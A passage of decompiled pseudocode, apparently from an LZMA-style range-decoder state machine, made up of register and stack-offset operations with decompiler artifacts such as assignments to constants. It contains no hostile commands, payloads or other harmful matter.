                                                                                    												 *(_t644 - 0x10) = _t596;
                                                                                    												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
                                                                                    												 *_t642 = (0x800 - _t626 >> 5) + _t559;
                                                                                    											}
                                                                                    											if( *(_t644 - 0x10) >= 0x1000000) {
                                                                                    												goto L139;
                                                                                    											} else {
                                                                                    												goto L137;
                                                                                    											}
                                                                                    										case 5:
                                                                                    											L137:
                                                                                    											if( *(_t644 - 0x6c) == 0) {
                                                                                    												L168:
                                                                                    												 *(_t644 - 0x88) = 5;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L138:
                                                                                    											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
                                                                                    											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                                                    											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                                                                    											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                                                                    											L139:
                                                                                    											_t537 =  *(_t644 - 0x84);
                                                                                    											L140:
                                                                                    											 *(_t644 - 0x88) = _t537;
                                                                                    											goto L1;
                                                                                    										case 6:
                                                                                    											L25:
                                                                                    											__edx = 0;
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												L36:
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__ecx =  *(__ebp - 0x38);
                                                                                    												 *(__ebp - 0x34) = 1;
                                                                                    												 *(__ebp - 0x84) = 7;
                                                                                    												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                    												goto L132;
                                                                                    											}
                                                                                    											L26:
                                                                                    											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                    											__esi =  *(__ebp - 0x60);
                                                                                    											__cl = 8;
                                                                                    											__cl = 8 -  *(__ebp - 0x3c);
                                                                                    											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                    											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                    											__ecx =  *(__ebp - 0x3c);
                                                                                    											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                    											__ecx =  *(__ebp - 4);
                                                                                    											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                    											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                    											__eflags =  *(__ebp - 0x38) - 4;
                                                                                    											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    											if( *(__ebp - 0x38) >= 4) {
                                                                                    												__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                    												if( *(__ebp - 0x38) >= 0xa) {
                                                                                    													_t98 = __ebp - 0x38;
                                                                                    													 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                    													__eflags =  *_t98;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                    												}
                                                                                    											} else {
                                                                                    												 *(__ebp - 0x38) = 0;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x34) - __edx;
                                                                                    											if( *(__ebp - 0x34) == __edx) {
                                                                                    												L35:
                                                                                    												__ebx = 0;
                                                                                    												__ebx = 1;
                                                                                    												goto L61;
                                                                                    											} else {
                                                                                    												L32:
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                                                    													__eflags = __eax;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 8);
                                                                                    												__ebx = 0;
                                                                                    												__ebx = 1;
                                                                                    												__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                    												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                    												goto L41;
                                                                                    											}
                                                                                    										case 7:
                                                                                    											L66:
                                                                                    											__eflags =  *(__ebp - 0x40) - 1;
                                                                                    											if( *(__ebp - 0x40) != 1) {
                                                                                    												L68:
                                                                                    												__eax =  *(__ebp - 0x24);
                                                                                    												 *(__ebp - 0x80) = 0x16;
                                                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    												__eax =  *(__ebp - 0x28);
                                                                                    												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    												__eax =  *(__ebp - 0x2c);
                                                                                    												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    												__eax = 0;
                                                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                                                    												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    												__al = __al & 0x000000fd;
                                                                                    												__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                    												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__eax =  *(__ebp - 4) + 0x664;
                                                                                    												__eflags = __eax;
                                                                                    												 *(__ebp - 0x58) = __eax;
                                                                                    												goto L69;
                                                                                    											}
                                                                                    											L67:
                                                                                    											__eax =  *(__ebp - 4);
                                                                                    											__ecx =  *(__ebp - 0x38);
                                                                                    											 *(__ebp - 0x84) = 8;
                                                                                    											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                    											goto L132;
                                                                                    										case 8:
                                                                                    											L70:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__ecx =  *(__ebp - 0x38);
                                                                                    												 *(__ebp - 0x84) = 0xa;
                                                                                    												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                    											} else {
                                                                                    												__eax =  *(__ebp - 0x38);
                                                                                    												__ecx =  *(__ebp - 4);
                                                                                    												__eax =  *(__ebp - 0x38) + 0xf;
                                                                                    												 *(__ebp - 0x84) = 9;
                                                                                    												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                    												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                    											}
                                                                                    											goto L132;
                                                                                    										case 9:
                                                                                    											L73:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												goto L90;
                                                                                    											}
                                                                                    											L74:
                                                                                    											__eflags =  *(__ebp - 0x60);
                                                                                    											if( *(__ebp - 0x60) == 0) {
                                                                                    												goto L171;
                                                                                    											}
                                                                                    											L75:
                                                                                    											__eax = 0;
                                                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                                                    											_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                    											__eflags = _t259;
                                                                                    											0 | _t259 = _t259 + _t259 + 9;
                                                                                    											 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                                                                    											goto L76;
                                                                                    										case 0xa:
                                                                                    											L82:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												L84:
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__ecx =  *(__ebp - 0x38);
                                                                                    												 *(__ebp - 0x84) = 0xb;
                                                                                    												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                    												goto L132;
                                                                                    											}
                                                                                    											L83:
                                                                                    											__eax =  *(__ebp - 0x28);
                                                                                    											goto L89;
                                                                                    										case 0xb:
                                                                                    											L85:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												__ecx =  *(__ebp - 0x24);
                                                                                    												__eax =  *(__ebp - 0x20);
                                                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    											} else {
                                                                                    												__eax =  *(__ebp - 0x24);
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x28);
                                                                                    											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    											L89:
                                                                                    											__ecx =  *(__ebp - 0x2c);
                                                                                    											 *(__ebp - 0x2c) = __eax;
                                                                                    											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    											L90:
                                                                                    											__eax =  *(__ebp - 4);
                                                                                    											 *(__ebp - 0x80) = 0x15;
                                                                                    											__eax =  *(__ebp - 4) + 0xa68;
                                                                                    											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                    											goto L69;
                                                                                    										case 0xc:
                                                                                    											L99:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												L164:
                                                                                    												 *(__ebp - 0x88) = 0xc;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L100:
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t334 = __ebp - 0x70;
                                                                                    											 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t334;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											__eax =  *(__ebp - 0x2c);
                                                                                    											goto L101;
                                                                                    										case 0xd:
                                                                                    											L37:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												L159:
                                                                                    												 *(__ebp - 0x88) = 0xd;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L38:
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t122 = __ebp - 0x70;
                                                                                    											 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t122;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											L39:
                                                                                    											__eax =  *(__ebp - 0x40);
                                                                                    											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                    												goto L48;
                                                                                    											}
                                                                                    											L40:
                                                                                    											__eflags = __ebx - 0x100;
                                                                                    											if(__ebx >= 0x100) {
                                                                                    												goto L54;
                                                                                    											}
                                                                                    											L41:
                                                                                    											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                    											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                    											__ecx =  *(__ebp - 0x58);
                                                                                    											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                    											 *(__ebp - 0x48) = __eax;
                                                                                    											__eax = __eax + 1;
                                                                                    											__eax = __eax << 8;
                                                                                    											__eax = __eax + __ebx;
                                                                                    											__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    											__ax =  *__esi;
                                                                                    											 *(__ebp - 0x54) = __esi;
                                                                                    											__edx = __ax & 0x0000ffff;
                                                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    												__cx = __ax;
                                                                                    												 *(__ebp - 0x40) = 1;
                                                                                    												__cx = __ax >> 5;
                                                                                    												__eflags = __eax;
                                                                                    												__ebx = __ebx + __ebx + 1;
                                                                                    												 *__esi = __ax;
                                                                                    											} else {
                                                                                    												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                    												 *(__ebp - 0x10) = __ecx;
                                                                                    												0x800 = 0x800 - __edx;
                                                                                    												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                    												__ebx = __ebx + __ebx;
                                                                                    												 *__esi = __cx;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    											 *(__ebp - 0x44) = __ebx;
                                                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    												goto L39;
                                                                                    											} else {
                                                                                    												L45:
                                                                                    												goto L37;
                                                                                    											}
                                                                                    										case 0xe:
                                                                                    											L46:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												L160:
                                                                                    												 *(__ebp - 0x88) = 0xe;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L47:
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t156 = __ebp - 0x70;
                                                                                    											 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t156;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											while(1) {
                                                                                    												L48:
                                                                                    												__eflags = __ebx - 0x100;
                                                                                    												if(__ebx >= 0x100) {
                                                                                    													break;
                                                                                    												}
                                                                                    												L49:
                                                                                    												__eax =  *(__ebp - 0x58);
                                                                                    												__edx = __ebx + __ebx;
                                                                                    												__ecx =  *(__ebp - 0x10);
                                                                                    												__esi = __edx + __eax;
                                                                                    												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    												__ax =  *__esi;
                                                                                    												 *(__ebp - 0x54) = __esi;
                                                                                    												__edi = __ax & 0x0000ffff;
                                                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    													__cx = __ax;
                                                                                    													_t170 = __edx + 1; // 0x1
                                                                                    													__ebx = _t170;
                                                                                    													__cx = __ax >> 5;
                                                                                    													__eflags = __eax;
                                                                                    													 *__esi = __ax;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x10) = __ecx;
                                                                                    													0x800 = 0x800 - __edi;
                                                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    													__ebx = __ebx + __ebx;
                                                                                    													 *__esi = __cx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												 *(__ebp - 0x44) = __ebx;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													continue;
                                                                                    												} else {
                                                                                    													L53:
                                                                                    													goto L46;
                                                                                    												}
                                                                                    											}
                                                                                    											L54:
                                                                                    											_t173 = __ebp - 0x34;
                                                                                    											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                    											__eflags =  *_t173;
                                                                                    											goto L55;
                                                                                    										case 0xf:
                                                                                    											L58:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												L161:
                                                                                    												 *(__ebp - 0x88) = 0xf;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L59:
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t203 = __ebp - 0x70;
                                                                                    											 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t203;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											L60:
                                                                                    											__eflags = __ebx - 0x100;
                                                                                    											if(__ebx >= 0x100) {
                                                                                    												L55:
                                                                                    												__al =  *(__ebp - 0x44);
                                                                                    												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                    												goto L56;
                                                                                    											}
                                                                                    											L61:
                                                                                    											__eax =  *(__ebp - 0x58);
                                                                                    											__edx = __ebx + __ebx;
                                                                                    											__ecx =  *(__ebp - 0x10);
                                                                                    											__esi = __edx + __eax;
                                                                                    											__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    											__ax =  *__esi;
                                                                                    											 *(__ebp - 0x54) = __esi;
                                                                                    											__edi = __ax & 0x0000ffff;
                                                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    												__cx = __ax;
                                                                                    												_t217 = __edx + 1; // 0x1
                                                                                    												__ebx = _t217;
                                                                                    												__cx = __ax >> 5;
                                                                                    												__eflags = __eax;
                                                                                    												 *__esi = __ax;
                                                                                    											} else {
                                                                                    												 *(__ebp - 0x10) = __ecx;
                                                                                    												0x800 = 0x800 - __edi;
                                                                                    												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    												__ebx = __ebx + __ebx;
                                                                                    												 *__esi = __cx;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    											 *(__ebp - 0x44) = __ebx;
                                                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    												goto L60;
                                                                                    											} else {
                                                                                    												L65:
                                                                                    												goto L58;
                                                                                    											}
                                                                                    										case 0x10:
                                                                                    											L109:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												L165:
                                                                                    												 *(__ebp - 0x88) = 0x10;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L110:
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t365 = __ebp - 0x70;
                                                                                    											 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t365;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											goto L111;
                                                                                    										case 0x11:
                                                                                    											L69:
                                                                                    											__esi =  *(__ebp - 0x58);
                                                                                    											 *(__ebp - 0x84) = 0x12;
                                                                                    											goto L132;
                                                                                    										case 0x12:
                                                                                    											L128:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												L131:
                                                                                    												__eax =  *(__ebp - 0x58);
                                                                                    												 *(__ebp - 0x84) = 0x13;
                                                                                    												__esi =  *(__ebp - 0x58) + 2;
                                                                                    												L132:
                                                                                    												 *(_t644 - 0x54) = _t642;
                                                                                    												goto L133;
                                                                                    											}
                                                                                    											L129:
                                                                                    											__eax =  *(__ebp - 0x4c);
                                                                                    											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                    											__ecx =  *(__ebp - 0x58);
                                                                                    											__eax =  *(__ebp - 0x4c) << 4;
                                                                                    											__eflags = __eax;
                                                                                    											__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                    											goto L130;
                                                                                    										case 0x13:
                                                                                    											L141:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												L143:
                                                                                    												_t469 = __ebp - 0x58;
                                                                                    												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                    												__eflags =  *_t469;
                                                                                    												 *(__ebp - 0x30) = 0x10;
                                                                                    												 *(__ebp - 0x40) = 8;
                                                                                    												L144:
                                                                                    												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
                                                                                    												L145:
                                                                                    												 *(_t644 - 0x50) = 1;
                                                                                    												 *(_t644 - 0x48) =  *(_t644 - 0x40);
                                                                                    												goto L149;
                                                                                    											}
                                                                                    											L142:
                                                                                    											__eax =  *(__ebp - 0x4c);
                                                                                    											__ecx =  *(__ebp - 0x58);
                                                                                    											__eax =  *(__ebp - 0x4c) << 4;
                                                                                    											 *(__ebp - 0x30) = 8;
                                                                                    											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                    											L130:
                                                                                    											 *(__ebp - 0x58) = __eax;
                                                                                    											 *(__ebp - 0x40) = 3;
                                                                                    											goto L144;
                                                                                    										case 0x14:
                                                                                    											L156:
                                                                                    											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                    											__eax =  *(__ebp - 0x80);
                                                                                    											while(1) {
                                                                                    												L140:
                                                                                    												 *(_t644 - 0x88) = _t537;
                                                                                    												goto L1;
                                                                                    											}
                                                                                    										case 0x15:
                                                                                    											L91:
                                                                                    											__eax = 0;
                                                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                                                    											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    											__al = __al & 0x000000fd;
                                                                                    											__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                    											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                    											goto L120;
                                                                                    										case 0x16:
                                                                                    											goto L0;
                                                                                    										case 0x17:
                                                                                    											while(1) {
                                                                                    												L145:
                                                                                    												 *(_t644 - 0x50) = 1;
                                                                                    												 *(_t644 - 0x48) =  *(_t644 - 0x40);
                                                                                    												goto L149;
                                                                                    											}
                                                                                    										case 0x18:
                                                                                    											goto L146;
                                                                                    										case 0x19:
                                                                                    											L94:
                                                                                    											__eflags = __ebx - 4;
                                                                                    											if(__ebx < 4) {
                                                                                    												L98:
                                                                                    												 *(__ebp - 0x2c) = __ebx;
                                                                                    												L119:
                                                                                    												_t393 = __ebp - 0x2c;
                                                                                    												 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                    												__eflags =  *_t393;
                                                                                    												L120:
                                                                                    												__eax =  *(__ebp - 0x2c);
                                                                                    												__eflags = __eax;
                                                                                    												if(__eax == 0) {
                                                                                    													L166:
                                                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												L121:
                                                                                    												__eflags = __eax -  *(__ebp - 0x60);
                                                                                    												if(__eax >  *(__ebp - 0x60)) {
                                                                                    													goto L171;
                                                                                    												}
                                                                                    												L122:
                                                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                    												__eax =  *(__ebp - 0x30);
                                                                                    												_t400 = __ebp - 0x60;
                                                                                    												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                    												__eflags =  *_t400;
                                                                                    												goto L123;
                                                                                    											}
                                                                                    											L95:
                                                                                    											__ecx = __ebx;
                                                                                    											__eax = __ebx;
                                                                                    											__ecx = __ebx >> 1;
                                                                                    											__eax = __ebx & 0x00000001;
                                                                                    											__ecx = (__ebx >> 1) - 1;
                                                                                    											__al = __al | 0x00000002;
                                                                                    											__eax = (__ebx & 0x00000001) << __cl;
                                                                                    											__eflags = __ebx - 0xe;
                                                                                    											 *(__ebp - 0x2c) = __eax;
                                                                                    											if(__ebx >= 0xe) {
                                                                                    												L97:
                                                                                    												__ebx = 0;
                                                                                    												 *(__ebp - 0x48) = __ecx;
                                                                                    												L102:
                                                                                    												__eflags =  *(__ebp - 0x48);
                                                                                    												if( *(__ebp - 0x48) <= 0) {
                                                                                    													L107:
                                                                                    													__eax = __eax + __ebx;
                                                                                    													 *(__ebp - 0x40) = 4;
                                                                                    													 *(__ebp - 0x2c) = __eax;
                                                                                    													__eax =  *(__ebp - 4);
                                                                                    													__eax =  *(__ebp - 4) + 0x644;
                                                                                    													__eflags = __eax;
                                                                                    													L108:
                                                                                    													__ebx = 0;
                                                                                    													 *(__ebp - 0x58) = __eax;
                                                                                    													 *(__ebp - 0x50) = 1;
                                                                                    													 *(__ebp - 0x44) = 0;
                                                                                    													 *(__ebp - 0x48) = 0;
                                                                                    													L112:
                                                                                    													__eax =  *(__ebp - 0x40);
                                                                                    													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                    														L118:
                                                                                    														_t391 = __ebp - 0x2c;
                                                                                    														 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                                                    														__eflags =  *_t391;
                                                                                    														goto L119;
                                                                                    													}
                                                                                    													L113:
                                                                                    													__eax =  *(__ebp - 0x50);
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    													__eax =  *(__ebp - 0x58);
                                                                                    													__esi = __edi + __eax;
                                                                                    													 *(__ebp - 0x54) = __esi;
                                                                                    													__ax =  *__esi;
                                                                                    													__ecx = __ax & 0x0000ffff;
                                                                                    													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                    													__eflags =  *(__ebp - 0xc) - __edx;
                                                                                    													if( *(__ebp - 0xc) >= __edx) {
                                                                                    														__ecx = 0;
                                                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                    														__ecx = 1;
                                                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                    														__ebx = 1;
                                                                                    														__ecx =  *(__ebp - 0x48);
                                                                                    														__ebx = 1 << __cl;
                                                                                    														__ecx = 1 << __cl;
                                                                                    														__ebx =  *(__ebp - 0x44);
                                                                                    														__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                    														__cx = __ax;
                                                                                    														__cx = __ax >> 5;
                                                                                    														__eax = __eax - __ecx;
                                                                                    														__edi = __edi + 1;
                                                                                    														__eflags = __edi;
                                                                                    														 *(__ebp - 0x44) = __ebx;
                                                                                    														 *__esi = __ax;
                                                                                    														 *(__ebp - 0x50) = __edi;
                                                                                    													} else {
                                                                                    														 *(__ebp - 0x10) = __edx;
                                                                                    														0x800 = 0x800 - __ecx;
                                                                                    														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                    														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
